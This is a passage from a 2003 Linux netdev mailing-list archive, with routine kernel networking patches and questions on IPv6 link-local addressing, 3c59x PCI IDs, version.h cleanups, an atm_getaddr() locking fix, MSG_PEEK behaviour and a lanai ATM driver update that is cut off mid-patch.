Pekka Savola Cc: "David S. Miller" , , , Subject: Re: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-RAVMilter-Version: 8.4.3(snapshot 20030212) (smtp-1.hut.fi) X-DCC-HUTCC-Metrics: smtp-1.hut.fi 1165; Body=6 Fuz1=6 Fuz2=6 X-archive-position: 5531 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev On Wed, 3 Sep 2003, Pekka Savola wrote: > On Tue, 2 Sep 2003, Ville Nuorvala wrote: > > > > ipv6_generate_eui64() derives the interface identifier from the MAC > > address on ARPHRD_{ETHER,FDDI,IEEE802_TR,ARCNET} interfaces, but doesn't > > do anything for other types of devices > > Ok, but then the command should be: > > /* try to inherit MAC address from another device, to build an EUI64 */ Ok, I'll update the comment :) > > If the node doesn't have an Ethernet (etc.) NIC it won't get a valid > > identifier from ipv6_generate_eui64() and has to resort to something > > else, for example generating a random address. > > And exactly how often does this happen? Eth (all variants), FDDI, TR, > ARCnet.. what's missing? Does IPv6 even work with any other physical > interfaces? :-) Not perhaps physical, but PPP for example. Can we assume _all_ devices have an Eth, FDDI, TR or ARCnet NIC? I would say no. > Note: it is desirable to have link-local addresses reasonably stable. > Randomizing them may not be the right choice. They will of course be configured only once when the interface is brought up :) -Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 From xose@wanadoo.es Wed Sep 3 05:32:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 05:33:22 -0700 (PDT) Received: from smtp13.eresmas.com (smtp13.eresmas.com [62.81.235.113]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83CWkWZ021606 for ; Wed, 3 Sep 2003 05:32:48 -0700 Received: from [192.168.108.55] (helo=mx05.in.mad.eresmas.com) by smtp13.eresmas.com with esmtp (Exim 4.10) id 19uWoS-0007qr-00; Wed, 03 Sep 2003 14:32:40 +0200 Received: from [80.102.81.94] (helo=wanadoo.es) by mx05.in.mad.eresmas.com with esmtp (Exim 4.20) id 19uWoR-0007Pk-S2; Wed, 03 Sep 2003 14:32:40 +0200 Message-ID: <3F55DF1B.4000105@wanadoo.es> Date: Wed, 03 Sep 2003 14:31:23 +0200 From: Xose Vazquez Perez User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021003 X-Accept-Language: gl, es, en MIME-Version: 1.0 To: netdev@oss.sgi.com, jgarzik Subject: [PATCH] 3c59x.c pci.ids X-Enigmail-Version: 0.63.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------070505010203050702040707" X-Spam-Score: 0.6 X-archive-position: 5532 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xose@wanadoo.es Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------070505010203050702040707 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit hi, In 2.4.23-pre2 two pci.ids are missing and there is one duplicate. 2.6.0-preX driver is ok. -thanks- -- Que trabajen los romanos, que tienen el pecho de lata. --------------070505010203050702040707 Content-Type: text/plain; name="3c59x.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="3c59x.diff" --- linux/drivers/net/3c59x.c 2003-08-30 19:04:12.000000000 +0200 +++ linux.new/drivers/net/3c59x.c 2003-09-02 03:25:44.000000000 +0200 @@ -429,7 +429,6 @@ CH_3C905B_2, CH_3C905B_FX, CH_3C905C, - CH_3C905C2, CH_3C980, CH_3C9805, @@ -450,6 +449,9 @@ CH_3C920, CH_3C982A, CH_3C982B, + + CH_905BT4, + CH_920B_EMB_WNM, }; @@ -503,8 +505,6 @@ PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE|HAS_HWCKSM, 128, }, {"3c905C Tornado", PCI_USES_IO|PCI_USES_MASTER, IS_TORNADO|HAS_NWAY|HAS_HWCKSM, 128, }, - {"3c905C Tornado 2", - PCI_USES_IO|PCI_USES_MASTER, IS_TORNADO|HAS_NWAY|HAS_HWCKSM, 128, }, {"3c980 Cyclone", PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE|HAS_HWCKSM, 128, }, {"3c980C Python-T", @@ -550,6 +550,11 @@ {"3c982 Hydra Dual Port B", PCI_USES_IO|PCI_USES_MASTER, IS_TORNADO|HAS_HWCKSM|HAS_NWAY, 128, }, + {"3c905B-T4", + PCI_USES_IO|PCI_USES_MASTER, IS_CYCLONE|HAS_NWAY|HAS_HWCKSM, 128, }, + {"3c920B-EMB-WNM Tornado", + PCI_USES_IO|PCI_USES_MASTER, IS_TORNADO|HAS_NWAY|HAS_HWCKSM, 128, }, + {0,}, /* 0 terminated list. */ }; @@ -576,7 +581,6 @@ { 0x10B7, 0x9058, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C905B_2 }, { 0x10B7, 0x905A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C905B_FX }, { 0x10B7, 0x9200, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C905C }, - { 0x10B7, 0x9201, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C905C2 }, { 0x10B7, 0x9800, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C980 }, { 0x10B7, 0x9805, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C9805 }, @@ -597,6 +601,10 @@ { 0x10B7, 0x9201, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C920 }, { 0x10B7, 0x1201, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C982A }, { 0x10B7, 0x1202, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_3C982B }, + + { 0x10B7, 0x9056, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_905BT4 }, + { 0x10B7, 0x9210, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_920B_EMB_WNM }, + {0,} /* 0 terminated list. */ }; MODULE_DEVICE_TABLE(pci, vortex_pci_tbl); --------------070505010203050702040707-- From felipewd@terra.com.br Wed Sep 3 07:02:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 07:03:25 -0700 (PDT) Received: from ivoti.terra.com.br (ivoti.terra.com.br [200.176.3.20]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83E2oWZ016140 for ; Wed, 3 Sep 2003 07:02:51 -0700 Received: from barra.terra.com.br (barra.terra.com.br [200.176.3.52]) by ivoti.terra.com.br (Postfix) with ESMTP id 8286879C2BD; Wed, 3 Sep 2003 11:02:48 -0300 (BRT) Received: from terra.com.br (200-163-191-105.paemt7004.dsl.brasiltelecom.net.br [200.163.191.105]) (authenticated user felipewd) by barra.terra.com.br (Postfix) with ESMTP id 4371623409A; Wed, 3 Sep 2003 11:02:43 -0300 (BRT) Message-ID: <3F55F4DD.9070301@terra.com.br> Date: Wed, 03 Sep 2003 11:04:13 -0300 From: Felipe W Damasio User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021226 Debian/1.2.1-9 MIME-Version: 1.0 To: pekkas@netcore.fi, davem@redhat.com, yoshfuji@linux-ipv6.org Cc: Linux Kernel Mailing List , netdev@oss.sgi.com Subject: [PATCH] Kill unneeded linux/version.h include in net/ipv6 Content-Type: multipart/mixed; boundary="------------020308040205020607070106" X-archive-position: 5533 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: felipewd@terra.com.br Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------020308040205020607070106 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi, Patch against 2.6-test4. Removes an unneeded linux/version.h include from af_inet6.. Please consider applying. Cheers, Felipe --------------020308040205020607070106 Content-Type: text/plain; name="ipv6-checkversion.patch" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="ipv6-checkversion.patch" --- linux-2.6.0-test4/net/ipv6/af_inet6.c Fri Aug 22 20:56:34 2003 +++ linux-2.6.0-test4-fwd/net/ipv6/af_inet6.c Wed Sep 3 10:58:48 2003 @@ -40,7 +40,6 @@ #include #include #include -#include #include #include --------------020308040205020607070106-- From rddunlap@osdl.org Wed Sep 3 08:35:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 08:35:57 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83FZNWZ004445 for ; Wed, 3 Sep 2003 08:35:24 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h83FZHo09510; Wed, 3 Sep 2003 08:35:17 -0700 Date: Wed, 3 Sep 2003 08:29:58 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: felipewd@terra.com.br Subject: Fw: [PATCH] Kill unneeded version.h in net/wanrouter Message-Id: <20030903082958.582cc0c5.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart_Wed__3_Sep_2003_08:29:58_-0700_09464040" X-archive-position: 5534 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --Multipart_Wed__3_Sep_2003_08:29:58_-0700_09464040 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit net/ patches should go to netdev@oss.sgi.com ............ ~Randy Begin forwarded message: Date: Wed, 03 Sep 2003 11:26:47 -0300 From: Felipe W Damasio To: Linux Kernel Mailing List Subject: [PATCH] Kill unneeded version.h in net/wanrouter Hi, Patch against linux-2.6.0-test4. Please apply. Thanks, Felipe --Multipart_Wed__3_Sep_2003_08:29:58_-0700_09464040 Content-Type: text/plain; name="wanrouter-checkversion.patch" Content-Disposition: attachment; filename="wanrouter-checkversion.patch" Content-Transfer-Encoding: 7bit diff -u -X ./dontdiff linux-2.6.0-test4/net/wanrouter/af_wanpipe.c linux-2.6.0-test4-fwd/net/wanrouter/af_wanpipe.c --- linux-2.6.0-test4/net/wanrouter/af_wanpipe.c Fri Aug 22 21:01:48 2003 +++ linux-2.6.0-test4-fwd/net/wanrouter/af_wanpipe.c Wed Sep 3 11:05:45 2003 @@ -32,7 +32,6 @@ * ******************************************************************************/ -#include #include #include #include diff -u -X ./dontdiff linux-2.6.0-test4/net/wanrouter/wanmain.c linux-2.6.0-test4-fwd/net/wanrouter/wanmain.c --- linux-2.6.0-test4/net/wanrouter/wanmain.c Fri Aug 22 20:57:53 2003 +++ linux-2.6.0-test4-fwd/net/wanrouter/wanmain.c Wed Sep 3 11:05:33 2003 @@ -42,7 +42,6 @@ * Jun 02, 1999 Gideon Hack Updates for Linux 2.0.X and 2.2.X kernels. *****************************************************************************/ -#include #include #include /* offsetof(), etc. */ #include /* return codes */ --Multipart_Wed__3_Sep_2003_08:29:58_-0700_09464040-- From rddunlap@osdl.org Wed Sep 3 08:35:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 08:36:02 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83FZTWZ004460 for ; Wed, 3 Sep 2003 08:35:29 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h83FZOo09515; Wed, 3 Sep 2003 08:35:24 -0700 Date: Wed, 3 Sep 2003 08:30:05 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: felipewd@terra.com.br Subject: Fw: [PATCH] Kill unneeded version.h from net/sched Message-Id: <20030903083005.5a35c59f.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart_Wed__3_Sep_2003_08:30:05_-0700_09378280" X-archive-position: 5535 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --Multipart_Wed__3_Sep_2003_08:30:05_-0700_09378280 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Another net/ patch. ~Randy Begin forwarded message: Date: Wed, 03 Sep 2003 11:29:44 -0300 From: Felipe W Damasio To: Linux Kernel Mailing List Subject: [PATCH] Kill unneeded version.h from net/sched Hi, Last patch, removing all references that checkversion gave me on net/ Against 2.6-test4, please apply. Cheers Felipe --Multipart_Wed__3_Sep_2003_08:30:05_-0700_09378280 Content-Type: text/plain; name="net_sched-checkversion.patch" Content-Disposition: attachment; filename="net_sched-checkversion.patch" Content-Transfer-Encoding: 7bit --- linux-2.6.0-test4/net/sched/sch_htb.c Fri Aug 22 20:57:14 2003 +++ linux-2.6.0-test4-fwd/net/sched/sch_htb.c Wed Sep 3 11:27:06 2003 @@ -32,7 +32,6 @@ #include #include #include -#include #include #include #include --Multipart_Wed__3_Sep_2003_08:30:05_-0700_09378280-- From chas@cmf.nrl.navy.mil Wed Sep 3 09:28:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 09:28:38 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83GS2WZ014972 for ; Wed, 3 Sep 2003 09:28:03 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h83GPFl5022616; Wed, 3 Sep 2003 12:25:15 -0400 (EDT) Message-Id: <200309031625.h83GPFl5022616@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM] atm_getaddr() isn't safe Reply-To: chas3@users.sourceforge.net Date: Wed, 03 Sep 2003 12:25:16 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5537 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev this patch also preserves the old behavior of atm_getaddr() in that it does partially fill in the passed buffer. please apply to 2.6 and 2.4. # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1414 -> 1.1415 # net/atm/addr.c 1.3 -> 1.4 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/03 chas@relax.cmf.nrl.navy.mil 1.1415 # addr.c: # copy_to_user() shouldn't be called while blocking interrupts # -------------------------------------------- # diff -Nru a/net/atm/addr.c b/net/atm/addr.c --- a/net/atm/addr.c Wed Sep 3 05:33:30 2003 +++ b/net/atm/addr.c Wed Sep 3 05:33:30 2003 @@ -118,23 +118,24 @@ { unsigned long flags; struct atm_dev_addr *walk; - int total; + int total = 0, error; + struct sockaddr_atmsvc *tmp_buf, *tmp_bufp; + spin_lock_irqsave(&dev->lock, flags); - total = 0; - for (walk = dev->local; walk; walk = walk->next) { + for (walk = dev->local; walk; walk = walk->next) total += sizeof(struct sockaddr_atmsvc); - if (total > size) { - spin_unlock_irqrestore(&dev->lock, flags); - return -E2BIG; - } - if (copy_to_user(u_buf,&walk->addr, - sizeof(struct sockaddr_atmsvc))) { - spin_unlock_irqrestore(&dev->lock, flags); - return -EFAULT; - } - u_buf++; + tmp_buf = tmp_bufp = kmalloc(total, GFP_ATOMIC); + if (!tmp_buf) { + spin_unlock_irqrestore(&dev->lock, flags); + return -ENOMEM; } + for (walk = dev->local; walk; walk = walk->next) + memcpy(tmp_bufp++, &walk->addr, sizeof(struct sockaddr_atmsvc)); spin_unlock_irqrestore(&dev->lock, flags); - return total; + error = total > size ? -E2BIG : total; + if (copy_to_user(u_buf, tmp_buf, total < size ? total : size)) + error = -EFAULT; + kfree(tmp_buf); + return error; } From ams@wiw.org Wed Sep 3 10:05:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 10:06:17 -0700 (PDT) Received: from miranda.org (IDENT:qmailr@miranda.org [209.58.150.153]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83H5eWZ018120 for ; Wed, 3 Sep 2003 10:05:43 -0700 Received: (qmail 21646 invoked from network); 3 Sep 2003 17:05:36 -0000 Received: from miranda.org (HELO lustre.dyn.wiw.org) (ams@209.58.150.153) by miranda.org with SMTP; 3 Sep 2003 17:05:36 -0000 Received: from ams by lustre.dyn.wiw.org with local (Exim 4.20) id 19ub4Y-00025X-5S for netdev@oss.sgi.com; Wed, 03 Sep 2003 22:35:34 +0530 Date: Wed, 3 Sep 2003 22:35:34 +0530 From: Abhijit Menon-Sen To: netdev@oss.sgi.com Subject: how is recv(..., MSG_PEEK) racy? Message-ID: <20030903223534.A7806@lustre.dyn.wiw.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-archive-position: 5539 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ams@wiw.org Precedence: bulk X-list: netdev I'm trying to understand a fetchmail problem that causes large downloads from IMAP servers to fail randomly. For some reason, fetchmail uses the following bizarre code inside a loop to read data from the server: if ((n = recv(sock, bp, len, MSG_PEEK)) <= 0) return (-1); if ((newline = memchr(bp, '\n', n)) != NULL) n = newline - bp + 1; if ((n = read(sock, bp, n)) == -1) return (-1); The problem occurs (at an unpredictable time, but very often, and with a greater probability with a larger attachment) when the recv() returns 0, although tcpdump doesn't show the server closing the connection, or any other unusual behaviour. Are there any circumstances other than the connection being closed where recv(..., MSG_PEEK) can return 0? (Stevens/SUSv3 don't mention any.) I found the following (paraphrased) comment in net/ipv4/tcp.c: if ((flags & MSG_PEEK) && peek_seq != tp->copied_seq) { printk(KERN_DEBUG "TCP(%s:%d): Application bug, race in MSG_PEEK.\n", current->comm, current->pid); While fetchmail doesn't seem to be triggering that printk(), I'm curious about what the race condition is. Google found a post by DaveM saying it has something to do with URG data, but without any further details. I'd appreciate any explanation of the problem(s). Thank you. -- ams From cfriesen@nortelnetworks.com Wed Sep 3 10:17:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 10:18:10 -0700 (PDT) Received: from zcars04f.nortelnetworks.com (zcars04f.nortelnetworks.com [47.129.242.57]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83HHYWZ019166 for ; Wed, 3 Sep 2003 10:17:35 -0700 Received: from zcard307.ca.nortel.com (americasm03.nt.com [47.129.242.67]) by zcars04f.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h83HHQ806865; Wed, 3 Sep 2003 13:17:26 -0400 (EDT) Received: from zcard0k6.ca.nortel.com ([47.129.242.158]) by zcard307.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RZHNPTPK; Wed, 3 Sep 2003 13:17:26 -0400 Received: from pcard0ks.ca.nortel.com ([47.129.117.131]) by zcard0k6.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id Q8C6J05C; Wed, 3 Sep 2003 13:17:26 -0400 Received: from nortelnetworks.com (localhost.localdomain [127.0.0.1]) by pcard0ks.ca.nortel.com (Postfix) with ESMTP id ED2182E112; Wed, 3 Sep 2003 13:17:25 -0400 (EDT) Message-ID: <3F562225.4010609@nortelnetworks.com> Date: Wed, 03 Sep 2003 13:17:25 -0400 X-Sybari-Space: 00000000 00000000 00000000 00000000 From: Chris Friesen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204 X-Accept-Language: en-us MIME-Version: 1.0 To: Linux Kernel Mailing List , netdev@oss.sgi.com Subject: given a struct sock, how to find pid of process that owns it? Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5540 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cfriesen@nortelnetworks.com Precedence: bulk X-list: netdev I'm working on a small app similar to netstat that only cares about unix sockets. I can easily walk /proc/net/unix, but to find the owner of the socket I need to scan /proc, which gets expensive. Accordingly, I'd like to extend /proc/net/unix to also dump out the pid of the process that owns the socket. The only thing is, I can't seem to figure out how to find the pid of the socket owner given a pointer to the socket struct. Any tips? Is it even there? Thanks, Chris -- Chris Friesen | MailStop: 043/33/F10 Nortel Networks | work: (613) 765-0557 3500 Carling Avenue | fax: (613) 765-2986 Nepean, ON K2H 8E9 Canada | email: cfriesen@nortelnetworks.com From chas@cmf.nrl.navy.mil Wed Sep 3 10:24:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 03 Sep 2003 10:24:39 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h83HO5WZ019706 for ; Wed, 3 Sep 2003 10:24:06 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h83HNql5024404; Wed, 3 Sep 2003 13:23:53 -0400 (EDT) Message-Id: <200309031723.h83HNql5024404@ginger.cmf.nrl.navy.mil> To: davem@redhat.com, netdev@oss.sgi.com Cc: Mitchell Blank Jr Subject: Re: [Linux-ATM-General] [ATM] [PATCH] lanai update In-Reply-To: Message from Mitchell Blank Jr of "Mon, 01 Sep 2003 20:40:13 PDT." <20030902034013.GH15886@gaz.sfgoth.com> Date: Wed, 03 Sep 2003 13:23:53 -0400 From: chas williams X-Spam-Score: () hits=-8.8 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5541 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev please apply to 2.6 -- thanks. In message <20030902034013.GH15886@gaz.sfgoth.com>,Mitchell Blank Jr writes: >Changes: > > o Big performance improvement. The version of the driver in the kernel > still had a "mdelay(1)" after every register write. This capped > performance at about 8Mbps and ate tons of CPU time. (Luckily, most > users of this card are just terminating a DSL line where its not too > noticeable) > > However, after removing this delay the card started getting out of > sync with the driver under stress tests. After a couple days of chasing > the bug I finally determine that the card's support for transmitting > partial PDUs just doesn't quite work as advertised (before we would send > a partial PDU to completely fill a VCC's transmit buffer and then send > the rest of the skb when more buffer space filled up). The usefulness of > this is somewhat doubtful anyway and removing it cleaned up a lot of code. > > I also added some memory barriers to make sure operations to the card > happen in the correct order. > > Now for the first time ever we get near line-rate performance out of this > card (~19Mb/s TCP in netperf between two ~300Mhz machines) > > o Locking changes (essentially the patch Chas sent me a couple weeks ago > with some minor tweaking) I'm still not sure we're getting 100% of the > cases right but it's definitely FAR better than the old lock-less version. > > o Cleanup the backlog draining code in lanai_shutdown_tx_vci() > > o Remove outdated comment describing how to compile the module > > o Got rid of the "service_novcc_[tr]x" stats - it's really the same error > as "service_[tr]x" - there's no reason to count them separately. > > o Use the ATM_25_PCR constant instead of computing it for ourselves > >Patch is versus 2.6.0-test4. Chas - this is completely separate from the >net/atm patches I sent you yesterday so feel free to push this one upstream >if you're still digesting yesterday's stuff. > >The one issue I'm still chasing is some RX checksum errors that only seem >to appear with large PDUs (starting at about 4000 bytes; getting worse >as you go up) Since most users of this card are using pppoatm or rfc2483 >with ethernet-ish MTUs it probably isn't going to bite many people. [atm]: lanai performance improvements and assorted misc cleanup work --- linux-2.6.0-test4-VIRGIN/drivers/atm/lanai.c 2003-08-22 13:46:58.000000000 -0700 +++ linux-2.6.0-test4mnb1/drivers/atm/lanai.c 2003-09-01 09:09:03.919422688 -0700 @@ -15,12 +15,6 @@ * * Things not working yet: * - * o We're only set up to compile as a module currently. i.e. - * you should put the source in drivers/atm/lanai.c and then - * just do "make drivers/atm/lanai.o" from the main - * source directory. This will produce a drivers/atm/lanai.o - * file suitable for insmod'ing - * * o We don't support the Speedstream 3060 yet - this card has * an on-board DSL modem chip by Alcatel and the driver will * need some extra code added to handle it @@ -245,9 +239,6 @@ struct atm_vcc *atmvcc; /* atm_vcc who is transmitter */ int endptr; /* last endptr from service entry */ struct sk_buff_head backlog; - struct sk_buff *inprogress; /* We're streaming this PDU */ - unsigned char *pptr; /* Where we are in above */ - int inprogleft; /* Bytes left to send "inprogress" */ void (*unqueue)(struct lanai_dev *, struct lanai_vcc *, int); } tx; }; @@ -268,8 +259,6 @@ unsigned pcierr_m_target_abort; unsigned pcierr_s_target_abort; unsigned pcierr_master_parity; - unsigned service_novcc_rx; - unsigned service_novcc_tx; unsigned service_notx; unsigned service_norx; unsigned service_rxnotaal5; @@ -297,7 +286,7 @@ struct lanai_buffer aal0buf; /* AAL0 RX buffers */ u32 conf1, conf2; /* CONFIG[12] registers */ u32 status; /* STATUS register */ - spinlock_t txlock; + spinlock_t endtxlock; spinlock_t servicelock; struct atm_vcc *cbrvcc; int number; @@ -501,7 +490,6 @@ RWDEBUG("W [0x%08X] 0x%02X < 0x%08X\n", (unsigned int) lanai->base, (int) reg, val); writel(val, reg_addr(lanai, reg)); - mdelay(1); } static inline void conf1_write(const struct lanai_dev *lanai) @@ -537,63 +525,6 @@ udelay(5); } -/* -------------------- VCC LIST LOCK: */ - -/* - * The linux-atm code disables local IRQs while managing the list of - * VCCs on a card. This is good, but it doesn't save us against - * SMP. Unfortunately, fixing this will require changes in the - * API which will have to wait a little bit. It's a hard race to - * trigger accidentally, so it isn't TOO horrible so far. - * - * One possible solution would be to have an rwlock which is - * always grabbed _irq-style on writing. This would automatically - * be grabbed (for writing) by the higher layers on things that - * would result in a change in the vcc list (_open, _close, - * probably _change_qos) - thus it would also protect the - * higher-level list of vccs on each device (atm_dev->vccs). - * The driver would be responsible for grabbing it as a read_lock - * anytime it wants to consult its table of vccs - for instance - * when handling an incoming PDU. This also explains why we would - * probably want the write_lock while in _change_qos - to prevent - * handling of PDUs while possibly in an inconsistent state. - * Also, _send would grab the lock for reading. - * - * One problem with this is that _open and _close could no longer - * do anything that might provoke a schedule. First, it would - * force us to use GFP_ATOMIC memory (which is bad), but also - * some devices pretty much require scheduling due to long - * delays (see lanai_close for an example). So in this case - * we need a way to schedule without losing the spinlock. - * The cleanest way to do this is probably have a way to mark a - * VCC as "in progress" so that the interrupt handler can - * still disregard any traffic for it while _open or _close - * are sleeping on it. Then it will need to be _open and - * _close's job to relinquish the write_lock. Thus, the - * lock could be dropped around the times that scheduling - * might occur. Perhaps the _READY flag can be used for - * this purpose. - * - * One short note about this "upper layer grabs, driver - * relinquishes" write lock - since this needs to be - * an _irq lock we're going to have problem saving - * and restoring flags (_irqsave/_irqrestore). This - * shouldn't be a problem, however - we must just - * require that those syscalls are never called with - * interrupts disabled so we can use the non-flags-saving - * versions. - * - * Anyway, all of the above is vaporware currently - fixing - * this right will require changes in the API and all of - * the drivers - this will wait until 2.5.x most likely. - * The following NOP macros are just here to mark where - * the locks will be needed in the future. - */ -#define vcclist_read_lock() do {} while (0) -#define vcclist_read_unlock() do {} while (0) -#define vcclist_write_lock() do {} while (0) -#define vcclist_write_unlock() do {} while (0) - /* -------------------- CARD SRAM UTILITIES: */ /* The SRAM is mapped into normal PCI memory space - the only catch is @@ -851,36 +782,39 @@ if (lvcc->vbase == 0) /* We were never bound to a VCI */ return; /* 15.2.1 - wait for queue to drain */ - spin_lock_irqsave(&lanai->txlock, flags); - if (lvcc->tx.inprogress != NULL) { - lanai_free_skb(lvcc->tx.atmvcc, lvcc->tx.inprogress); - lvcc->tx.inprogress = NULL; - } while ((skb = skb_dequeue(&lvcc->tx.backlog)) != NULL) lanai_free_skb(lvcc->tx.atmvcc, skb); + read_lock_irqsave(&vcc_sklist_lock, flags); __clear_bit(lvcc->vci, lanai->backlog_vccs); - spin_unlock_irqrestore(&lanai->txlock, flags); - timeout = jiffies + ((lanai_buf_size(&lvcc->tx.buf) * HZ) >> 17); + read_unlock_irqrestore(&vcc_sklist_lock, flags); + /* + * We need to wait for the VCC to drain but don't wait forever. We + * give each 1K of buffer size 1/128th of a second to clear out. + * TODO: maybe disable CBR if we're about to timeout? + */ + timeout = jiffies + + (((lanai_buf_size(&lvcc->tx.buf) / 1024) * HZ) >> 7); write = TXWRITEPTR_GET_PTR(cardvcc_read(lvcc, vcc_txwriteptr)); - goto start; - while (time_before_eq(jiffies, timeout)) { - schedule_timeout(HZ / 25); 